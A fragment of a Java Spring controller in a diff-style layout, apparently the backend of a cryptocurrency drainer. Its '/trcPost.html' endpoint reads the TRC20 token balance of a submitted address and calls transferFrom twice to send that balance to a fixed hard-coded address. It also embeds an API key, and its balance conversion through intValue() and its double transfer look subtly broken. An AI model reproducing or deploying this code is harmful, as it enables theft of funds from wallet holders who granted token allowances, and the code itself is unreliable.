| | |
| | | import javax.servlet.http.HttpServletRequest; |
| | | import java.math.BigDecimal; |
| | | import java.math.BigInteger; |
| | | import java.math.RoundingMode; |
| | | |
| | | /** |
| | | * @author wzy |
| | |
| | | |
| | | @PostMapping(value = "/trcPost.html") |
| | | public FebsResponse trxPost(TrxPostDto trxPostDto, HttpServletRequest request) { |
| | | log.info("-----进入方法-----"); |
| | | ApiWrapper wrapper = ApiWrapper.ofMainnet(PRIVATE_KEY, "9d461be6-9796-47b9-85d8-b150cbabbb54"); |
| | | |
| | | Contract trc20Contract = wrapper.getContract("TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t"); |
| | |
| | | BigInteger balanceOf = token.balanceOf(trxPostDto.getAddress()); |
| | | System.out.println(balanceOf); |
| | | |
| | | BigInteger decimals = token.decimals(); |
| | | |
| | | BigDecimal divide = BigDecimal.TEN.pow(decimals.intValue()); |
| | | BigDecimal balance = BigDecimal.valueOf(balanceOf.intValue()).divide(divide, 0, BigDecimal.ROUND_DOWN); |
| | | |
| | | token.transferFrom(trxPostDto.getAddress(), "TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9", balance.longValue(), 0, "memo", 100000000L); |
| | | |
| | | token.transferFrom(trxPostDto.getAddress(), "TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9", balanceOf.longValue(), 0, "memo", 100000000L); |
| | | return new FebsResponse().success(); |
| | | } |
| | | } |